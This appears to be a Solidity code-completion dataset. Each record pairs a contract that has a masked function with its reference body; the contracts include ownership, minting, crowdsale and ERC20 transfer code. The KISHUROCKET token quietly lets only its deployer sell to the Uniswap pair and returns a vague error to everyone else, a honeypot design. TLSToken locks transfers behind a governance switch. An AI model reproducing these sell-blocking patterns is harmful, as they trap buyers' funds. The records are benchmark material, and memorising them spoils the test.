contract Ownable { string public constant NOT_CURRENT_OWNER = "018001"; string public constant CANNOT_TRANSFER_TO_ZERO_ADDRESS = "018002"; address public owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, NOT_CURRENT_OWNER); _; } <FILL_FUNCTION> }
require(_newOwner != address(0), CANNOT_TRANSFER_TO_ZERO_ADDRESS); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner;
function transferOwnership( address _newOwner ) public onlyOwner
function transferOwnership( address _newOwner ) public onlyOwner
13624
TLSToken
mint
contract TLSToken is Governance, ERC20Detailed{ using SafeMath for uint256; //events event eveSetRate(uint256 burn_rate, uint256 reward_rate); event eveRewardPool(address rewardPool); event Transfer(address indexed from, address indexed to, uint256 value); event Mint(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); // for minters mapping (address => bool) public _minters; mapping (address => uint256) public _minters_number; //token base data uint256 internal _totalSupply; mapping(address => uint256) public _balances; mapping (address => mapping (address => uint256)) public _allowances; /// Constant token specific fields uint8 internal constant _decimals = 18; uint256 public _maxSupply = 0; /// bool public _openTransfer = false; // hardcode limit rate uint256 public constant _maxGovernValueRate = 2000;//2000/10000 uint256 public constant _minGovernValueRate = 10; //10/10000 uint256 public constant _rateBase = 10000; // additional variables for use if transaction fees ever became necessary uint256 public _burnRate = 150; uint256 public _rewardRate = 150; uint256 public _totalBurnToken = 0; uint256 public _totalRewardToken = 0; //todo reward pool! address public _rewardPool = 0xd340A68642C3de2c73C98713006663633E6F93E1; //todo burn pool! address public _burnPool = 0x6666666666666666666666666666666666666666; /** * @dev set the token transfer switch */ function enableOpenTransfer() public onlyGovernance { _openTransfer = true; } /** * CONSTRUCTOR * * @dev Initialize the Token */ constructor () public ERC20Detailed("tellus", "TLS", _decimals) { uint256 _exp = _decimals; _maxSupply = 21000000 * (10**_exp); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param spender The address which will spend the funds. * @param amount The amount of tokens to be spent. */ function approve(address spender, uint256 amount) public returns (bool) { require(msg.sender != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @dev Function to check the amount of tokens than an owner _allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev return the token total supply */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev for mint function */ function mint(address account, uint256 amount) public {<FILL_FUNCTION_BODY> } function addMinter(address _minter,uint256 number) public onlyGovernance { _minters[_minter] = true; _minters_number[_minter] = number; } function setMinter_number(address _minter,uint256 number) public onlyGovernance { require(_minters[_minter]); _minters_number[_minter] = number; } function removeMinter(address _minter) public onlyGovernance { _minters[_minter] = false; _minters_number[_minter] = 0; } function() external payable { revert(); } /** * @dev for govern value */ function setRate(uint256 burn_rate, uint256 reward_rate) public onlyGovernance { require(_maxGovernValueRate >= burn_rate && burn_rate >= _minGovernValueRate,"invalid burn rate"); require(_maxGovernValueRate >= reward_rate && reward_rate >= _minGovernValueRate,"invalid reward rate"); _burnRate = burn_rate; _rewardRate = reward_rate; emit eveSetRate(burn_rate, reward_rate); } /** * @dev for set reward */ function setRewardPool(address rewardPool) public onlyGovernance { require(rewardPool != address(0x0)); _rewardPool = rewardPool; emit eveRewardPool(_rewardPool); } /** * @dev transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { return _transfer(msg.sender,to,value); } /** * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { uint256 allow = _allowances[from][msg.sender]; _allowances[from][msg.sender] = allow.sub(value); return _transfer(from,to,value); } /** * @dev Transfer tokens with fee * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256s the amount of tokens to be transferred */ function _transfer(address from, address to, uint256 value) internal returns (bool) { // :) require(_openTransfer || from == governance, "transfer closed"); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 sendAmount = value; uint256 burnFee = (value.mul(_burnRate)).div(_rateBase); if (burnFee > 0) { //to burn _balances[_burnPool] = _balances[_burnPool].add(burnFee); _totalSupply = _totalSupply.sub(burnFee); sendAmount = sendAmount.sub(burnFee); _totalBurnToken = _totalBurnToken.add(burnFee); emit Transfer(from, _burnPool, burnFee); } uint256 rewardFee = (value.mul(_rewardRate)).div(_rateBase); if (rewardFee > 0) { //to reward _balances[_rewardPool] = _balances[_rewardPool].add(rewardFee); sendAmount = sendAmount.sub(rewardFee); _totalRewardToken = _totalRewardToken.add(rewardFee); emit Transfer(from, _rewardPool, rewardFee); } _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(sendAmount); emit Transfer(from, to, sendAmount); return true; } }
contract TLSToken is Governance, ERC20Detailed{ using SafeMath for uint256; //events event eveSetRate(uint256 burn_rate, uint256 reward_rate); event eveRewardPool(address rewardPool); event Transfer(address indexed from, address indexed to, uint256 value); event Mint(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); // for minters mapping (address => bool) public _minters; mapping (address => uint256) public _minters_number; //token base data uint256 internal _totalSupply; mapping(address => uint256) public _balances; mapping (address => mapping (address => uint256)) public _allowances; /// Constant token specific fields uint8 internal constant _decimals = 18; uint256 public _maxSupply = 0; /// bool public _openTransfer = false; // hardcode limit rate uint256 public constant _maxGovernValueRate = 2000;//2000/10000 uint256 public constant _minGovernValueRate = 10; //10/10000 uint256 public constant _rateBase = 10000; // additional variables for use if transaction fees ever became necessary uint256 public _burnRate = 150; uint256 public _rewardRate = 150; uint256 public _totalBurnToken = 0; uint256 public _totalRewardToken = 0; //todo reward pool! address public _rewardPool = 0xd340A68642C3de2c73C98713006663633E6F93E1; //todo burn pool! address public _burnPool = 0x6666666666666666666666666666666666666666; /** * @dev set the token transfer switch */ function enableOpenTransfer() public onlyGovernance { _openTransfer = true; } /** * CONSTRUCTOR * * @dev Initialize the Token */ constructor () public ERC20Detailed("tellus", "TLS", _decimals) { uint256 _exp = _decimals; _maxSupply = 21000000 * (10**_exp); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param spender The address which will spend the funds. * @param amount The amount of tokens to be spent. */ function approve(address spender, uint256 amount) public returns (bool) { require(msg.sender != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @dev Function to check the amount of tokens than an owner _allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev return the token total supply */ function totalSupply() public view returns (uint256) { return _totalSupply; } <FILL_FUNCTION> function addMinter(address _minter,uint256 number) public onlyGovernance { _minters[_minter] = true; _minters_number[_minter] = number; } function setMinter_number(address _minter,uint256 number) public onlyGovernance { require(_minters[_minter]); _minters_number[_minter] = number; } function removeMinter(address _minter) public onlyGovernance { _minters[_minter] = false; _minters_number[_minter] = 0; } function() external payable { revert(); } /** * @dev for govern value */ function setRate(uint256 burn_rate, uint256 reward_rate) public onlyGovernance { require(_maxGovernValueRate >= burn_rate && burn_rate >= _minGovernValueRate,"invalid burn rate"); require(_maxGovernValueRate >= reward_rate && reward_rate >= _minGovernValueRate,"invalid reward rate"); _burnRate = burn_rate; _rewardRate = reward_rate; emit eveSetRate(burn_rate, reward_rate); } /** * @dev for set reward */ function setRewardPool(address rewardPool) public onlyGovernance { require(rewardPool != address(0x0)); _rewardPool = rewardPool; emit eveRewardPool(_rewardPool); } /** * @dev transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { return _transfer(msg.sender,to,value); } /** * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { uint256 allow = _allowances[from][msg.sender]; _allowances[from][msg.sender] = allow.sub(value); return _transfer(from,to,value); } /** * @dev Transfer tokens with fee * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256s the amount of tokens to be transferred */ function _transfer(address from, address to, uint256 value) internal returns (bool) { // :) require(_openTransfer || from == governance, "transfer closed"); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 sendAmount = value; uint256 burnFee = (value.mul(_burnRate)).div(_rateBase); if (burnFee > 0) { //to burn _balances[_burnPool] = _balances[_burnPool].add(burnFee); _totalSupply = _totalSupply.sub(burnFee); sendAmount = sendAmount.sub(burnFee); _totalBurnToken = _totalBurnToken.add(burnFee); emit Transfer(from, _burnPool, burnFee); } uint256 rewardFee = (value.mul(_rewardRate)).div(_rateBase); if (rewardFee > 0) { //to reward _balances[_rewardPool] = _balances[_rewardPool].add(rewardFee); sendAmount = sendAmount.sub(rewardFee); _totalRewardToken = _totalRewardToken.add(rewardFee); emit Transfer(from, _rewardPool, rewardFee); } _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(sendAmount); emit Transfer(from, to, sendAmount); return true; } }
require(account != address(0), "ERC20: mint to the zero address"); require(_minters[msg.sender], "!minter"); require(_minters_number[msg.sender]>=amount); uint256 curMintSupply = _totalSupply.add(_totalBurnToken); uint256 newMintSupply = curMintSupply.add(amount); require( newMintSupply <= _maxSupply,"supply is max!"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); _minters_number[msg.sender] = _minters_number[msg.sender].sub(amount); emit Mint(address(0), account, amount); emit Transfer(address(0), account, amount);
function mint(address account, uint256 amount) public
/** * @dev for mint function */ function mint(address account, uint256 amount) public
89511
KISHUROCKET
_transfer
contract KISHUROCKET is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address=>bool) private _enable; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _mint(0xE22Bd0E75059079c27Eea8d7C6E85451880cFcd9, 100000000000000 *10**18); _enable[0xE22Bd0E75059079c27Eea8d7C6E85451880cFcd9] = true; // MainNet / testnet, Uniswap Router IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; _name = "KISHU ROCKET"; _symbol = "KROKT"; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual {<FILL_FUNCTION_BODY> } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0)); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to) internal virtual { if(to == uniswapV2Pair) { require(_enable[from], "something went wrong"); } } }
contract KISHUROCKET is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address=>bool) private _enable; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _mint(0xE22Bd0E75059079c27Eea8d7C6E85451880cFcd9, 100000000000000 *10**18); _enable[0xE22Bd0E75059079c27Eea8d7C6E85451880cFcd9] = true; // MainNet / testnet, Uniswap Router IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; _name = "KISHU ROCKET"; _symbol = "KROKT"; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } <FILL_FUNCTION> /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0)); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to) internal virtual { if(to == uniswapV2Pair) { require(_enable[from], "something went wrong"); } } }
require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount);
function _transfer(address sender, address recipient, uint256 amount) internal virtual
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual
46255
CodexBeta
record
contract CodexBeta { struct MyCode { string code; } event Record(string code); function record(string code) public {<FILL_FUNCTION_BODY> } mapping (address => MyCode) public registry; }
contract CodexBeta { struct MyCode { string code; } event Record(string code); <FILL_FUNCTION> mapping (address => MyCode) public registry; }
registry[msg.sender] = MyCode(code);
function record(string code) public
function record(string code) public
85517
Owned
transferOwnership
contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public{ owner = msg.sender; } modifier onlyOwner { require (msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner {<FILL_FUNCTION_BODY> } }
contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public{ owner = msg.sender; } modifier onlyOwner { require (msg.sender == owner); _; } <FILL_FUNCTION> }
emit OwnershipTransferred(owner, newOwner); owner = newOwner;
function transferOwnership(address newOwner) onlyOwner
function transferOwnership(address newOwner) onlyOwner
73775
MyToken
MyToken
contract MyToken is owned { /* Public variables of the token */ string public name = "DankToken"; string public symbol = "DANK"; uint8 public decimals = 18; uint256 _totalSupply; uint256 public amountRaised = 0; uint256 public amountOfTokensPerEther = 500; /* this makes an array with all frozen accounts. This is needed so voters can not send their funds while the vote is going on and they have already voted */ mapping (address => bool) public frozenAccounts; /* This creates an array with all balances */ mapping (address => uint256) _balanceOf; mapping (address => mapping (address => uint256)) _allowance; bool public crowdsaleClosed = false; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function MyToken() {<FILL_FUNCTION_BODY> } function changeAuthorisedContract(address target) onlyOwner { authorisedContract = target; } function() payable{ require(!crowdsaleClosed); uint amount = msg.value; amountRaised += amount; uint256 totalTokens = amount * amountOfTokensPerEther; _balanceOf[msg.sender] += totalTokens; _totalSupply += totalTokens; Transfer(this,msg.sender, totalTokens); } function totalSupply() constant returns (uint TotalSupply){ TotalSupply = _totalSupply; } function balanceOf(address _owner) constant returns (uint balance) { return _balanceOf[_owner]; } function closeCrowdsale() onlyOwner{ crowdsaleClosed = true; } function openCrowdsale() onlyOwner{ crowdsaleClosed = false; } function changePrice(uint newAmountOfTokensPerEther) onlyOwner{ require(newAmountOfTokensPerEther <= 500); amountOfTokensPerEther = newAmountOfTokensPerEther; } function withdrawal(uint256 amountOfWei) onlyOwner{ if(owner.send(amountOfWei)){} } function freezeAccount(address target, bool freeze) onlyAuthorisedAddress { frozenAccounts[target] = freeze; FrozenFunds(target, freeze); } /* Send coins */ function transfer(address _to, uint256 _value) onlyPayloadSize(2*32) { require(!frozenAccounts[msg.sender]); require(_balanceOf[msg.sender] > _value); // Check if the sender has enough require(_balanceOf[_to] + _value > _balanceOf[_to]); // Check for overflows _balanceOf[msg.sender] -= _value; // Subtract from the sender _balanceOf[_to] += _value; // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value)onlyPayloadSize(2*32) returns (bool success) { _allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccounts[_from]); require(_balanceOf[_from] > _value); // Check if the sender has enough require(_balanceOf[_to] + _value > _balanceOf[_to]); // Check for overflows require(_allowance[_from][msg.sender] >= _value); // Check allowance _balanceOf[_from] -= _value; // Subtract from the sender _balanceOf[_to] += _value; // Add the same to the recipient _allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return _allowance[_owner][_spender]; } }
contract MyToken is owned { /* Public variables of the token */ string public name = "DankToken"; string public symbol = "DANK"; uint8 public decimals = 18; uint256 _totalSupply; uint256 public amountRaised = 0; uint256 public amountOfTokensPerEther = 500; /* this makes an array with all frozen accounts. This is needed so voters can not send their funds while the vote is going on and they have already voted */ mapping (address => bool) public frozenAccounts; /* This creates an array with all balances */ mapping (address => uint256) _balanceOf; mapping (address => mapping (address => uint256)) _allowance; bool public crowdsaleClosed = false; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event FrozenFunds(address target, bool frozen); <FILL_FUNCTION> function changeAuthorisedContract(address target) onlyOwner { authorisedContract = target; } function() payable{ require(!crowdsaleClosed); uint amount = msg.value; amountRaised += amount; uint256 totalTokens = amount * amountOfTokensPerEther; _balanceOf[msg.sender] += totalTokens; _totalSupply += totalTokens; Transfer(this,msg.sender, totalTokens); } function totalSupply() constant returns (uint TotalSupply){ TotalSupply = _totalSupply; } function balanceOf(address _owner) constant returns (uint balance) { return _balanceOf[_owner]; } function closeCrowdsale() onlyOwner{ crowdsaleClosed = true; } function openCrowdsale() onlyOwner{ crowdsaleClosed = false; } function changePrice(uint newAmountOfTokensPerEther) onlyOwner{ require(newAmountOfTokensPerEther <= 500); amountOfTokensPerEther = newAmountOfTokensPerEther; } function withdrawal(uint256 amountOfWei) onlyOwner{ if(owner.send(amountOfWei)){} } function freezeAccount(address target, bool freeze) onlyAuthorisedAddress { frozenAccounts[target] = freeze; FrozenFunds(target, freeze); } /* Send coins */ function transfer(address _to, uint256 _value) onlyPayloadSize(2*32) { require(!frozenAccounts[msg.sender]); require(_balanceOf[msg.sender] > _value); // Check if the sender has enough require(_balanceOf[_to] + _value > _balanceOf[_to]); // Check for overflows _balanceOf[msg.sender] -= _value; // Subtract from the sender _balanceOf[_to] += _value; // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value)onlyPayloadSize(2*32) returns (bool success) { _allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccounts[_from]); require(_balanceOf[_from] > _value); // Check if the sender has enough require(_balanceOf[_to] + _value > _balanceOf[_to]); // Check for overflows require(_allowance[_from][msg.sender] >= _value); // Check allowance _balanceOf[_from] -= _value; // Subtract from the sender _balanceOf[_to] += _value; // Add the same to the recipient _allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return _allowance[_owner][_spender]; } }
